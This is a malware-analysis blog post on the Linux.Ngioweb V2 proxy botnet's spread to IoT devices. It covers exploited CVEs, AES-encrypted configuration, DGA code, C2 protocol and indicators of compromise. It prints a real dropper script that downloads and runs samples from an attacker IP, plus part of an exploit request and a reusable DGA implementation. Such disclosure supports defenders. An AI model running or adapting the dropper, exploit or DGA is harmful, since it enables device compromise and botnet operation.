

Botnet Proxy

# Quick update on the Linux.Ngioweb botnet, now it is going after IoT devices



Alex.Turing, Hui Wang

Nov 13, 2020 • 33 min read

## Background

On June 21, 2019, we published [a blog](#) about a Proxy Botnet, Linux.Ngioweb.

On August 4, 2020, we captured a batch of ELF files with zero VT detection, which are variants of Ngioweb. And we just named it [V2](#).

Two weeks later, on August 16, we noticed that 9 Nday vulnerabilities were used to spread Ngioweb V2 samples, involving x86(32/64), ARM(32/64), MIPS(MIPS32/MIPS-III) As well as PPC, Hitachi SH, IBM S/390 and other CPU architectures, this marks the beginning of Ngioweb's attack on IOT devices.

On November 5, 2020, IntezerLabs [twittered](#) about a zip archive called "bins.october", which contains 50 Ngioweb samples targeting various linux OS.

With the low low detected rate on VT, and newly added IoT support, we think it is worth providing a quick update to reflect the key new features with the new variants, so here are some quick outlines.

◦

## Overview

The main function of the Linux.Ngioweb Bot sample is to implement Back-Connect Proxy on the victim's machine[\[1\]](#). The attacker builds multiple bots into a

Proxies Pool and controls it through a double-layer C2 protocol, and then provides a Rotating Reverse Proxy Service.

At present, we have divided Linux.Ngioweb into two versions, V1 and V2. Their core functions are the same. The biggest difference is that V2 puts a lot of information previously stored in plaintext on the stack into one configuration stored in the DATA section, and uses AES encryption.

The main comparison is as follows:

Version	Platform	Cpu Arch	C2	DGA Seed&Count	Report Entrance	Purpose
V1	Linux	x64	Hardcoded	Hardcoded	Hardcoded	Proxy Botnet
V2	Linux	X86 X64 ARM MIPS PPC	Stored in Encrypted "Config"	Stored in Encrypted "Config"	Stored in Encrypted "Config"	Proxy Botnet

## Vulnerabilities

Ngioweb V2 is spread through the flowing vulnerabilities. It can be seen that there is no particular preferred device.

- [CVE\\_2013\\_3568](#)
- [CVE\\_2019\\_8387](#)
- [CVE\\_2020\\_14882](#)
- [D-Link Devices - HNAP SOAPAction-Header RCE](#)
- [JAWS DVR RCE](#)
- [NVRmini\\_cgisys](#)
- [Netgear\\_Voice\\_GW\\_RCE](#)
- [QNAP\\_NAS\\_QPS\\_SID\\_RCE](#)
- [CVE-2017-10271](#)

Take CVE-2017-10271 as an example, the payload in the wild is as follows:

```
POST /**t/Co**ortType HTTP/1.1
Host: {}7401
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: text/xml; charset=UTF-8
Content-Length: 564
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:
```

The corresponding download script is shown below. The function is very simple: download and execute the Ngioweb sample, and then remove itself.

```
#!/bin/sh
n="QILU TYEQ CNII WTBK AJYZ NNVY FBRW WSMK VTLE ONRB"
if [ $# -gt 0 ]; then
    n=$@
fi
cd /tmp
for a in $n
do
    rm $a
    wget http://94.102.50.143/$a
    chmod +x $a
    ./$a
done
for a in $n
do
    rm -rf $a
done
rm $0
```

## Bot scale

We were able to sinkhole a few of the DGA domains so we could get a picture of how many bots the botnet has recruited. The following graph shows the V1 version of the bot count, about 3k active daily IPs.

Our DNSMon system shows similar numbers on the DGA domain names that has been used.

## Linux.Ngioweb V2 new features

V2 samples contain almost all the popular CPU architectures. Here let's take a look at the X64 architecture.

*MD5:ce4c23642878788ecaedd0903663244d*

*ELF 64-bit LSB executable, AMD x86-64, version 1 (SYSV), statically linked, stripped*

*Packer:None*

*Lib:uclibc*

As mentioned above, the core functions of Ngioweb V2 have not changed. Readers can take a look at our last article[\[2\]](#). We will focus on the new features of Ngioweb V2 here. In the Ngioweb V1 sample, sensitive resource configuration information such as C2, digital signature public key, report entry, etc. are all protected by Stack Strings Obfuscation technique to prevent security personnel from spotting it at a glance. The V2 sample is made more concealed, and this information is encrypted. At the same time, when the V2 sample report back to its C2, it no longer uses hardcoded config. All these make it more difficult for it to be detected.

### New feature 1: AES encryption for configuration information

The Ngioweb V2 Bot sample stores the DGA seed, the number of domains generated by DGA, C2, the public key for data signing, and the entry of reported information in a unified configuration. This configuration uses AES encryption for storage. Decrypt the information when it needs to be used, and destroy it after use, preventing sensitive information from being captured simply by memory dump.

A major feature of Ngioweb is the dynamic generation of constant tables required by encryption and decryption algorithms, which increases the difficulty of analysis by security researchers.

```

_QWORD *__fastcall prepare_mem(__int64 a1)
{
    __int64 v1; // rax
    __int64 v2; // rbp
    _QWORD *result; // rax

    v1 = (*(_int64 (__fastcall **)(signed __int64))(a1 + 8))(4224LL);
    v2 = v1;
    if ( v1 )
    {
        wrap_memset(v1, 0, 4224LL);
        *(_QWORD *)v2 = a1;
        prepare_aes((unsigned __int8 *)(v2 + 8));
        sub_40F03F(v2 + 8, &unk_520060, 32LL, v2 + 3204);
        result = (_QWORD *)v2;
    }
    else
    {
        sub_410684(0LL);
        result = 0LL;
    }
}

```

```

* a1 = 0xB;
a1[1] = 0xD;
a1[2] = 9;
a1[3] = 0xE;
a1[772] = 0;
a1[516] = 1;
a1[773] = 0;
a1[517] = 3;
a1[775] = 1;
do

```

AES encryption uses ECB mode, no padding, the secret key and ciphertext are stored in the DATA section, the first 32 bytes are the secret key, and the next 512 bytes are the ciphertext.

```

wrap_memcpy(a2, (__int64)&unk_520060, 548LL);
aes_dec(a1 + 3204, a1 + 8, a2 + 32, 512uLL, 0);
return a2;
}

```

.data:000000000520060 unk_520060	db 18h
.data:000000000520060	
.data:000000000520061	db 71h ; q
.data:000000000520062	db 81h
.data:000000000520063	db 5Fh ; _
.data:000000000520064	db 33h ; 3
.data:000000000520065	db 8Bh
.data:000000000520066	db 0C8h
.data:000000000520067	db 0E5h
.data:000000000520068	db 2Dh ; -
.data:000000000520069	db 0DEh
.data:00000000052006A	db 0A7h
.data:00000000052006B	db 97h
.data:00000000052006C	db 26h ; &
.data:00000000052006D	db 0BEh
.data:00000000052006E	db 12h
.data:00000000052006F	db 36h ; 6
.data:000000000520070	db 0EBh
.data:000000000520071	db 17h
.data:000000000520072	db 0C8h

Take the following ciphertext as an example

00000000	18 71 81 5F 33 8B C8 E5 2D DE A7 97 26 BE 12 36	.q._3...-...&..6
0000010	EB 17 C8 38 67 9F 38 B8 53 F1 51 86 34 68 F4 4F	...8g.8.S.Q.4h.0
0000020	14 7F A2 E9 AA C8 FA 56 AF 3B A5 CC 83 FE F3 3A	. ....V.;.....
0000030	D2 D4 43 C7 5F B7 8D C7 D3 C8 88 87 5E 34 21 D0	..C._.....^4!.
0000040	62 1C F9 3D D3 5C F2 78 60 C6 8C 04 7E 7A 0A 5B	b..=.\.x`....~z.[
0000050	38 9E D9 03 B0 36 B8 F2 04 3E 2F C8 7B 9D 4B 0B	8....6....>/.{K.
0000060	B4 66 67 9A 1D FA 3B 75 D5 9A F7 A7 30 4B 7F AA	.fg...;u....OK.
0000070	6D 8A 88 37 7F 21 CE 48 E5 84 F8 FA 17 C3 14 D2	m..7 !.H.....
0000080	EA BD 5B EE 73 DA A7 0D A2 0E 25 B4 CB 52 C8 8E	..[.s.....%..R..
0000090	51 BB DC 44 08 00 5A E5 5D 8A 75 F5 85 18 19 15	Q..D..Z.]..u.....
00000A0	78 FF 6D 71 D2 0F C0 2D B6 EF 41 B2 63 54 BA 6F	x.mq....-.A.cT.o
00000B0	BF 03 4C 6D 98 71 89 AC F2 E2 CB C7 E0 78 BC 66	..Lm.q.....x.f
00000C0	E5 9C B1 70 42 C3 85 70 0F 94 0D 0A 5B B7 85 5D	...pB..p....[..]
00000D0	CE 83 2F DF E1 0E DF 08 11 90 56 21 BF 21 52 60	.../.....V!.!R`
00000E0	70 99 94 52 49 44 0E 32 DC BE 68 3B 7A E0 5E 6A	p..RID.2..h;z.^j
00000F0	79 7E 76 53 80 0C 4E E6 3E C0 6A 41 9F AC 42 A7	y~vS..N.>.jA..B.
0000100	52 23 95 4C C0 4C 5B 53 77 3E 7A 0E 29 FF CE 79	R#.L.L[Sw>z.)..y
0000110	6A FA 76 21 0F 73 DF 43 29 17 49 88 5F C1 B4 83	j.v!.s.C).I._...
0000120	BF 44 69 E5 07 91 A6 39 8D 36 DE D3 08 DE A6 29	.Di....9.6....)
0000130	1A 5E D4 4E 32 93 30 E2 1F 18 1D 8F DF BD BD D7	.^N2.0.....
0000140	AC CE EF E4 CE 3E 56 5A 5D 42 CC 4E 7E 19 7B C6	....>VZ]B.N~.{.
0000150	D2 BF AE 64 36 37 68 F4 90 9D 44 9A 34 F4 02 EE	...d67h...D.4...
0000160	C8 FB BE 75 71 4C 58 6D 4D 39 23 A7 16 76 E4 E4	...uqLXmM9#..v..
0000170	C8 FB BE 75 71 4C 58 6D 4D 39 23 A7 16 76 E4 E4	...uqLXmM9#..v..
0000180	C8 FB BE 75 71 4C 58 6D 4D 39 23 A7 16 76 E4 E4	...uqLXmM9#..v..
0000190	C8 FB BE 75 71 4C 58 6D 4D 39 23 A7 16 76 E4 E4	...uqLXmM9#..v..
00001A0	C8 FB BE 75 71 4C 58 6D 4D 39 23 A7 16 76 E4 E4	...uqLXmM9#..v..
00001B0	AB A3 CE 58 35 15 40 5F 95 F3 AD B8 A6 B8 8E 3C	...X5.@_.....<
00001C0	FD B5 A5 33 8E B7 DF BD 1B 4D 14 A8 0C 9C 41 50	...3.....M....AP
00001D0	51 73 59 60 C2 2D FA 38 74 C5 60 BD 52 49 73 B6	QsY`.-.8t.`.RIs.
00001E0	C8 FB BE 75 71 4C 58 6D 4D 39 23 A7 16 76 E4 E4	...uqLXmM9#..v..
00001F0	B7 0E A2 D1 8D A4 BD 45 92 FD 15 3F 4E 6C 34 F2	.....E...?Nl4.
0000200	5D 29 8D 4D 6D A1 FD 06 F5 CA 34 7B 41 0C D9 D9	]).Mm.....4{A...
0000210	B8 49 60 98 A1 D4 FF 84 54 8D 50 47 D0 8F 70 4A	.I`.....T.PG..pJ

AES KEY

Ciphertext

Decrypt the configuration information, for example, C2 is 185.44.75.125:443,

79.141.168.119:443

00000000	00	00	00	05	00	37	5D	5A	00	00	04	00	00	00	00	3C	....7]Z....<
0000010	00	00	01	BB	00	00	00	1C	00	00	00	1F	8A	2E	80	1D	Um.....mi...B..
0000020	55	6D	17	CC	8E	C4	CF	95	F9	6D	69	C2	87	42	11	9B	.N.....J...p....
0000030	B9	4E	8D	F8	A8	A5	A7	4A	FB	0E	C8	70	A0	80	D5	94	....g..D..R.5..
0000040	C0	FA	BA	0F	02	67	08	B8	44	04	1C	52	D5	35	B7	C1	.&.+I....0.Z..J-
0000050	DA	26	2B	FE	49	F8	D3	0C	98	4F	F1	5A	94	0A	4A	2D	p....w.K..dN..~Q.
0000060	70	A9	D9	96	77	F9	4B	F7	DC	64	4E	B1	88	7E	51	AF	.....`}c.....
0000070	D7	A1	9F	0A	15	F3	60	91	7D	63	C9	02	B7	B2	0E	E9	..[.....;.....\$X'
0000080	01	98	5B	98	D8	AC	C7	3B	E3	B0	DE	C8	85	24	58	27	.....o8..PBt
0000090	D9	B3	D5	0F	B8	13	C6	EC	89	6F	38	80	AC	50	42	74	...0.f..2.o.....
00000A0	A4	95	11	30	86	66	F3	C6	32	F7	6F	F0	0F	93	F7	09	.}D>.....74.S+
00000B0	F9	7D	44	3E	F2	DC	B9	2E	2E	8A	37	34	1A	53	2B	7C	Z..p0fv.n4E....9
00000C0	5A	8C	F6	70	30	66	76	A0	6E	34	45	18	00	E0	86	39	.:N\$..Cm...M..o..
00000D0	83	3A	4E	24	F8	84	43	6D	EB	1A	DC	4D	8B	F1	6F	00	..`.. .p0.w97w6..
00000E0	F7	C1	60	B5	8E	7C	0A	70	30	A8	77	39	37	77	36	9B	...(.v.....h..
00000F0	EA	DB	AA	28	D1	76	EC	DF	D5	D0	EF	04	14	68	0D	8F	M...0..\T...[PR
0000100	4D	FB	BC	86	30	B3	BE	5C	54	0B	B2	09	AC	5B	50	52	..m.....185.
0000110	95	F5	6D	C7	09	BC	B9	01	02	E9	9C	01	31	38	35	2E	44.75.125.79.141
0000120	34	34	2E	37	35	2E	31	32	35	00	37	39	2E	31	34	31	.168.119.....
0000130	2E	31	36	38	2E	31	31	39	00	00	00	00	00	00	00	00	.....
0000140	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	.....
0000150	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	.....
0000160	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	.....
0000170	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	.....
0000180	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	.....
0000190	00	00	00	00	00	00	00	00	00	00	00	00	68	74	74	70	.....http
00001A0	3A	2F	2F	31	38	35	2E	34	34	2E	37	35	2E	31	32	35	://185.44.75.125
00001B0	3A	34	34	33	2F	6D	65	74	72	69	63	00	00	00	00	00	:443/metric.....
00001C0	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	.....
00001D0	00	00	00	00	00	00	00	00	00	00	00	00	71	77	65	72	.....qwer
00001E0	61	73	64	66	7A	78	63	71	77	65	72	61	73	64	66	74	asdfzxcwersdf
00001F0	79	75	69	72	66	64	73	64	73	73	F8	60	74	FB	yuirfdssdsdss.^t.	.....	

## New feature 2: DGA

Ngioweb uses the domain generated by DGA as a supplement to hard-coded C2. From V1 to V2 Bot samples, the implementation of DGA has not changed.

The specific implementation is as follows

```
uint64_t GenSeed(uint32_t& seed, uint32_t mod)
{
    uint32_t tmp = 0x41C64E6D * seed + 0x3039;
    seed = tmp;
    return tmp % mod;
}
string dga(uint32_t& seed)
{
    char* HeadBuf[] = { "un", "under", "re", "in", "im", "il", "ir", "en", "em",
                        "over", "mis", "dis", "pre", "post", "anti", "inter",
                        "sub", "ultra", "non", "de", "pro", "trans", "ex",
```

```

    "macro", "micro", "mini","mono", "multi", "semi", "co" };

char* BodyBufA[] = {"able","ant","ate","age","ance","ancy","an","ary",
                    "al","en","ency","er","etn", "ed", "ese","ern","ize",
                    "ify","ing","ish","ity","ion","ian","ism","ist","ic","ical"
                    "ible","ive","ite","ish","ian","or","ous","ure" };

char* BodyBufB[] = {"dom","hood","less","like","ly","fy","ful","ness",
                    "ment","sion","ssion","ship","ty","th","tion","ward" };

char* TailBuf[] = { ".net",".info",".com",".biz",".org",".name" };

string BlockBufA = "aeiou";
string BlockBufB = "bcd fghklmnprstvxz";
string domain;
uint32_t dashloop = GenSeed(seed, 3) + 1;
while (dashloop--)
{
    domain += HeadBuf[GenSeed(seed, 0x1e)];
    int flag = 0;
    int i = 0;
    if (BlockBufA.find(domain.back()) == string::npos)
        flag = 1;
    int fillcnt = GenSeed(seed, 0x3) + 4;
    while (fillcnt > i)
    {
        if (flag + i & 1)
            domain += BlockBufA[GenSeed(seed, 0x5)];
        else
            domain += BlockBufB[GenSeed(seed, 0x11)];
        i++;
    }
    if (BlockBufA.find(domain.back()) == string::npos)
        domain += BodyBufA[GenSeed(seed, 0x23)];
    else
        domain += BodyBufB[GenSeed(seed, 0x10)];
    if (dashloop != 0)
        domain += "-";
}
return domain += TailBuf[GenSeed(seed, 0x6)];
}

```

In V1, DGA Seed is hard-coded 0x05397FB1, and the total number of domains generated is 300.

```

    *((_DWORD *)a1 + 0xE) = 0x5397FB1;           // dga seed
*((_DWORD *)a1 + 0xE) = dga_proc(*(( _DWORD *)a1 + 0xE), FirstCC);
sub_405DAB((__int64)a1, FirstCC);
dgacount = (*(( _DWORD *)a1 + 0xF) + 1) % 300u;// total dga domain
a1[8] = (struc_functable *) (v2 + 73);
*((_DWORD *)a1 + 0xF) = dgacount;

```

In V2, DGA Seed and the total number of domains generated are specified by the configuration.

```

dga_seed = get_val(*(_QWORD *)(a1 + 8), 2);
dga_count = get_val(*(_QWORD *)(a1 + 8), 3);
v6 = get_val(*(_QWORD *)(a1 + 8), 4);
if ( v1 >= *(_QWORD *)(a1 + 72) )
{
    if ( dga_count )
    {
        v8 = 60 * v6;
        v9 = 0;
        do
        {
            if ( !*(_DWORD *)(a1 + 68) )
                *(_DWORD *)(a1 + 64) = dga_seed;
            ++v9;
            *(_DWORD *)(a1 + 64) = dga_proc(*(_DWORD *)(a1 + 64), &v24);
            sub_407187(a1, (__int64)&v24);
            *(_DWORD *)(a1 + 68) = (*(_DWORD *)(a1 + 68) + 1) % dga_count;
        }
    }
}

```

At present, we have got the following 4 pairs of Seed&Total Count combination, corresponding to the generated DGA domain, see the IOC section.

SEED	TOTAL COUNT
0x01275c63	0x12c
0x01275c63	0x3e8
0x04bc65bc	0x12c
0x00375d5a	0x400

## New feature 3: The C2 reporting entry

In V1, the entry for bot to connect to C2 is defined in the hard-coded `/min.js`

```

sub_40A251(v11 + 6);
v12 = Base64((__int64)(a1 + 14), 0LL, 0x39uLL, 0LL);
v13 = sub_40A3B2(*a1, (__int64)(v11 + 6), (unsigned __int64)&v9[v12
if ( v13 )
{
    v52 = 's';
    v51 = 'j';
    v50 = '.';
    v49 = 'n';
    v48 = 'i';
    v47 = 'm';
    v53 = 0;
    v14 = (_BYTE *)v11[1];
    v46 = '/';
    ...
}

```

The resulting packet is as follows

```

GET /min.js?h=... HTTP/1.1
Host: 169.239.128.166
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: text/html
Connection: close

HTTP/1.1 200 OK
Server: openresty/1.13.6.2
Date: Thu, 30 May 2019 01:52:17 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 553
Connection: close

CONNECT 5.135.58.123:443

```

In V2, the entry for bot to connect to C2 is specified by configuration file now.

The resulting packet is as follows

```

GET http://185.44.75.125:443/metric?h=... HTTP/1.1
Host: 79.141.168.119
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: text/html
Connection: close

HTTP/1.1 200 OK
Server: openresty/1.15.8.2
Date: Mon, 09 Nov 2020 07:18:59 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 8
Connection: close

WAIT 60

```

At present, we have got 3 sets of entry information in total.

#### REPORT ENTRANCE

/min.js

/zvyaga

<http://185.44.75.125:443/metric>

# DNSMon Auto blocking

For customers using our DNSMon feeds, the DGA domains have been blocked automatically.

## Contact us

Readers are always welcomed to reach us on [twitter](#), or email to netlab at 360 dot cn.

## IOC

### Smaple MD5

```
bdaef967a6aef57d135b0806192884edc  
7f26365e8d1e1a6ad8199bdddd4e9b3a  
0840951a0c3219db5607754bcdcb1ac1  
d29fb0306ee4b8cfe18c339ee42a98f9  
305a600d309c1bda9e731803e3efca97  
fb469128e67aad899a2b6709cbfe72a6  
19020682555fa33ecf98a11fed499ea9  
b4e5cecdff73f66786f87c1238912003  
2818dfd8337fbb610f8910746c4219d8  
d08e539c47100935fb8ba88a384f0305  
f8263759c9111641d09c9fac6bcd9186  
55ab7aa2ceadb3d30784123f2d534fdf  
cc2ae0ccdf0b4ff94e9d8ab3646ecaa2  
2b484c7f104fe8160022e04d056d1135  
df84b40ac3bd56bd15ab1d8b4a2bc1a7  
2d6ea04f1f55471113f37239e5e23b19  
a20d3f09eebd4102157ecdeb9557326  
4b608985b7f741b0f0ab9f3d59e48f03  
492928276181ca030fc2e1099b27beb2  
300e68b03d8fbef6ce29de4d386eacf3  
4419982c5fb43367203dca14ae6c1311  
f8fdf251acc39fdb4f4444fc7ceb1d0e  
c2695139e23205b96fb07e7ea963216c  
431028b7a672c4167ecc77e36df24236  
61783c6433288689a280bb2640e5f2af  
3e0088ec332172e42c50dd034b7eaae1  
953bd5431f144a976474d7c78de526ec  
3dacf45ff17ba5d6018d3f44c0ea4a02  
30dcce7dfd26f59dee9895cb6c70d51b
```

2b7c98eb58062401c8cf9b5fe95b0a3  
ff4dbfc96ffce74e5ea057e50e0496e3  
2be2ab5752261a733b5267527fe65d44  
a375f20090d9a58c66dc22dd37286d34  
ce120caed6b72cb89918dd2b329ceeb9  
01f50c3fc1223e3f96d28bc4cd2c3e56  
5be121ae51e970d4d0a5c08590099d79  
fc98d2deb8563292d830ba37bbb243ad  
afb782061df074ef2852953f47206aaf  
d417f515d24c56e05b9ac17cf6ab2ec3  
10824897899469775974122075c14b56  
0274956798c61a5eebc12d331835854e  
0808dbe61524a6a2a901e6ab2ac66e24  
e1b0b6943d0f209e51e6b5b6744e6a54  
663e0cf63d6b3f25bb33fea0876f3ef0  
052f9c2f465ab33d68957bc25c4e5c0b  
04800a25ce6c8d15e553459deec68bb9  
a086b7da8aaf7a27b67db00e69eb1b7a  
77c9d66e1ace1f840ed0416ab365260e  
ebb4b45ce5622d75762f62e631436bb2  
ce4c23642878788ecaedd0903663244d

00aa9b52e2f3b6ad4426466d7ca5f523  
00b2a36d4070983bab0953ce613d8d8b  
0257a639039f86f159bc6a4a39cded34  
036bc9217942fd5b15f654b4f5dab24f  
05e3369b655e5033d0f74bb3296863b2  
09d9c3b5f7cf1fec26f812d5250bfeb1  
0ac1705fe969fa6cccd3f449aac008b4d  
0f32884f84a366c047b95408316b2c52  
10ad3d84b869e383f1e88d5fc134e912  
1338e36265e8d45ba7689c918ef9b34a  
147b2ea408bef641a2e9d3cb4f7aedb9  
16956c0468e6e2b6665ac4bb81af3164  
16edc8d0d4be1385e9ddadfc722deae4  
178e0c03eb83fb6cebb11d29e0e47ec9  
21e37846936908ac90e6802e92d991df  
2c5e58573bf1783c4557d71f9f1a04b4  
2c7d58b1c5c172f88de7dbc02805eac0  
2e953b78a03b430e803bde99bc0c83e3  
36578d0dd5685abe6c4ed063221c59d0  
37a6966b4092317e0b4079bdf0f5b0a0  
39aaaf64bd70846d2fe7b77ebc42be8a3  
39d57c1abd7ae2488cb435c1ebc6d49e  
3bdf12f6aeb84d02119914e63ada932e  
40e88784c93651cec9792487575842e9  
418188e977fc3b280d8919287aeda05b  
4293a45ee5cd00da5505c878bc4fee08  
4efdc2e227fb4b5e61eb5220f9e6d7f4  
505cafe9c309ce61113dcb24124d1eba  
5077972350fce365d085e178f4668c8d  
54c9be7cd4a9f57728352a3426b32e4f  
5b55dce8baa9818de1b828a5ba6b80f4

6a566eeaab50e22eed6f01684d7521fd  
6c66cf2f923aa9da1494c99d1938cfb6  
72f00975e83856252b8c0c3c687254ef  
7ab879bc960b409f17bcad39a0bf7e3b  
7aea64456ab14dd5d4e060ebfcefd79d  
7e85b4596f95d1d597c46fa72d348061  
7e88eb10e9c67dc650a6ae4912d65e63  
82cef032e2e0fcc9f5582cd5916b97b7  
843f44acc93cbffadd271e4ef5e03103  
89c3f65fccb06f914c68aca218b0679d  
8e6ca6bd922574a44a0a43b32a58ba52  
8e8fd75a560505878cd2c76dca2c7ffe  
92e6185f8d2216eef77b8bcc7c730c57  
94c41d49388acb0089948c3ec618bc53  
9db1cbd2f1d2fb26aa7c1934e1f182e  
9fdfedf862f11146efd18b42f86268e1  
a20ab64e41014fbc992f2dfcb11a10d1  
a2967ffd179faaaab49d48b1473db00  
a6fd221cd729d08550acd53767154de3  
b1af3254ae6111efa3e2cb85eacf8e99  
b459053d209c6d188ba89f1097fed1da  
b5985a3fc08623d58d72d342da722f03  
b9ffd7e55c105ab52b81f66badf05846  
bbcd3ca4fbc0b40b0c9149e6371b9432  
bfaa39fb6a151b9a64e59ffd80aa1bc1  
c46121de170ecd5560b459ccf9f7557b  
c587740989c196806c0a9c5e8e07f127  
c77aa0f78c48901d7cc34a871c67eea2  
d2eeb2a760d7a453e9a895c6f161503d  
d7d5cee215140b7511b03885db89cb18  
e52e9f80bd81abc3e855a88fc77a4df4  
e9cb10408706890e48c3758831a631c1  
ea319e0ef1b4e3d65a7e4fc23397a20e  
ead0e821c939ce0bd271f5c148f5c8ca  
ebe39d80a817a090bc1e20c4517b4fb4  
f225a03e407b0f32235d7dfdd333f95e  
f2e28b01742757942c1ce5acbbb8ee00  
f3cbf39e3e95bd3f39bf6dd4e38f5690  
f4445e7cab5694e56008a6ac8382b0cc  
f9ab5e1483fee74e78f81ee2d8c3992b  
fb24abf484c484670be0444a7ae0f918  
fca1611067d38b6ce3234886f0d24cb3  
fe5e88679c091136f0ff3c4f5ded9775  
feda5a6340a7f71a75c43f43a57b0c1d

## Downloader IP

31.14.40.107	ASN19624 Data_Room,_Inc	Romania Bucharest Unknown
88.218.16.12	ASN50673 Serverius_Holding_B.V.	Netherlands Flevoland Dronten
93.174.89.36	ASN202425 IP_Volume_inc	Netherlands North_Holland Wormer

94.102.50.156	ASN202425 IP_Volume_inc	Netherlands North_Holland Wormer
94.102.59.5	ASN202425 IP_Volume_inc	Netherlands North_Holland W
94.102.50.143	ASN202425 IP_Volume_inc	Netherlands North_Holland Wormer

## Stage-1 IP C2

162.218.122.123:443	8100 QuadraNet_Enterprises_LLC	United_States New_Jersey Seca
111.90.149.238:443	45839 Shinjiru_Technology_Sdn_Bhd	Malaysia Kuala_Lumpur Unknown
103.193.4.113:443	36351 SoftLayer_Technologies_Inc	Singapore Singapore Unknown
185.44.75.216:443	62179 UAB_Ecofon	Lithuania Lithuania Unknown
185.44.75.125:443	62179 UAB_Ecofon	Lithuania Lithuania Unknown
79.141.168.119:443	133398 Tele_Asia_Limited	China Hong_Kong Unknown

## Stage-1 DGA Domain (seed=0x01275c63,count=0x3e8)

overobozikish-semipezavution-interigupant.com  
protivapical-semiletuful.info  
minikibocency-interorofuly-cotufuhify.com  
proxekigite.net  
exuvasuhern.biz  
multinipebian.name  
inuzodaless-iluxunency.com  
exubokilike-antilifizement.biz  
transumudate.org  
misuradabite-minibelaped-interetukuxable.net  
prexunevament-macrotelulike-antipucudument.name  
disorihious-monofulefiful.name  
enecixety.biz  
transoxapakancy-antidukovify.net  
subimemibate.name  
iledozible.net  
unumopafy-antimixaly.biz  
interilurocary-provohiless.name  
inuvelasure.com  
exovifist-multiseferiness.com  
subidekancy-ileratily.name  
postosofaping-irikinalike.net  
ememacotian-ultrakenikoward-exudetancy.info  
minilavuxufy-microtuhaly.name  
multimilufy-exirorary.info  
ultracadopiship-exinuhilike.net  
subasamuhal-overufaring-emedotifure.info  
disadugous-microdopiful-disicivize.org  
subuvusen.info  
enozufety-inilorely.name  
inocinossion.info  
disanevisish-misanolazen.biz

transegunant.com  
exelituhese-depifukary.info  
interazimist-microlitonish.com  
prefunidom-postaxugiment.biz  
ilolulian-nonisotive-overenevecese.net  
procihanoly-postutegism.net  
semivudely-cocehiward-renesoful.name  
ultrafisekian-multitecaness.org  
reravugission-enulebuten.com  
sububofahood-semigumudom.biz  
transinoromite-prohetahety-ilapeben.net  
renuxakassion-ultravavamlike.org  
emufatohood-regunicotion.info  
interixamily.name  
minirehugeship-prefepedism-rezomabiment.biz  
enefiling-semipisigical.net  
irebition-cocusify.biz  
interaxomaty-enunamage-prebuzipure.com  
uninicaxous.info  
postobigahese-micronepodom.biz  
macrogizofant.name  
macrogucapofy-semifenaly-interusoboty.name  
multitemaber-delutafy-unehonecism.info  
minikibamize-interekekadom.name  
disulahifing-prefuzetion.biz  
underubulian.com  
exovezufy.com  
prehagovern-subapalaship-iripatixist.info  
multimanibic-transirizikage.net  
anticisubaless-overatexossion-ultrakidefalike.net  
misutokahood.net  
resibapese-iribelancy.biz  
underefunable-subunizal.biz  
ultracibeward-unimumanable.info  
oversizous-semigofehify-emepaving.name  
ultracuvupancy-multisacokency.name  
disuxegance-unohupuship.com  
unuramesion-antiximocable-premerudation.biz  
transatidaly-intereducigism-unugiheth.com  
micropigession-cosenath.net  
exevededism.biz  
minixamesion.org  
imededenese-inecucary-unoseluhood.org  
subegivaward-semiluriful.info  
transudakicern-exepagetn-ilonunety.name  
ilidinurary-imelunern.info  
enixihidom-covohipive-multixohelike.com  
semicekument-disahezulible-nonahopohood.com  
promucidaty-detupobant.info  
macropuxolian-disatusopic.net  
resiredeful-disamefese-nononutetn.info  
multimovatiward.org  
unifapath-pregohuhite.com

exofabity-posteramited.org  
micromuniten-semirekiveful.name  
ilaxovage-exezihoness.net  
micromurocese-proniragance.com  
prohufabament.biz  
ilakihopity-irediletous-disatibant.net  
semiborexoless-cocukuviship-unaderible.name  
postatavexed-antitikadotion-demekimeness.net  
subobekous-inohixical.com  
semitinity-comoxuness.org  
antisavuty-overulogolity.com  
prokarument-inanuvify.com  
semisomiment-interuholudom-underovixitable.net  
misirahiward-prelabakuly-multimipumish.biz  
ultrasibodilike.org  
exesuran-overefibadom.name  
overifaker-monokabarize.com  
nonudaboness-antimofidaty-interapupily.name  
transefacility-nonuvosolive-postamevession.name  
delilelike.org  
imonabaval-postesudable.org  
exozebizist.biz  
macrogotafy-refahuly.info  
coneify-seminehivern-emugugitical.info  
copugalike.net  
misemokemity-ilemacation-multitopehood.net  
micromefoxism-microtiruful-postasacation.name  
ultralegoroth-eximonist.name  
minipozebilike.com  
semimiranure-unulasion-cozukuship.org  
misumenite-macrovironuhood-misitedion.info  
ilogesuric-nonunihern-ultrarahupaness.com  
emupuping.biz  
minilosoth-microlimexession-enogamity.com  
unerihish-interavicumite.org  
unitevous-transedufudom-enusomozetn.net  
remabarety-ultrabocotant.name  
enugezession-interokasugance.org  
reditixary-macrokokakuward-rehohidian.net  
emugadatian.info  
interelobidom-postirirament-ultraparobesion.org  
unixogency-dezofudoward-misekovary.info  
transubbivocal-prebekutan-exapimity.biz  
underekencary-exosivufism-multikolulike.net  
rezazizage-prekuguhalical-antibidoxic.org  
irugexary-ultrafibahood.com  
unasutify.info  
enolirekage-imusegacion.name  
underatekedom-ultralugarehood-irezizable.info  
transohuluric.net  
iruzusefy-monokokicancy.net  
semivifetite-nonecicolike-retiradure.org  
misobaling-cofodotuhood-nononepasion.org

misipeheness-misepucance-enoxelize.org  
exulucovible-minivikecath.net  
exefilevern-interorony-monohusussion.info  
overukizudom-interuvigument-macrorucalike.org  
prexofunoful-transohuzize.org  
irunanic.info  
macrokadubofy.net  
unonedeling-postakesemism.org  
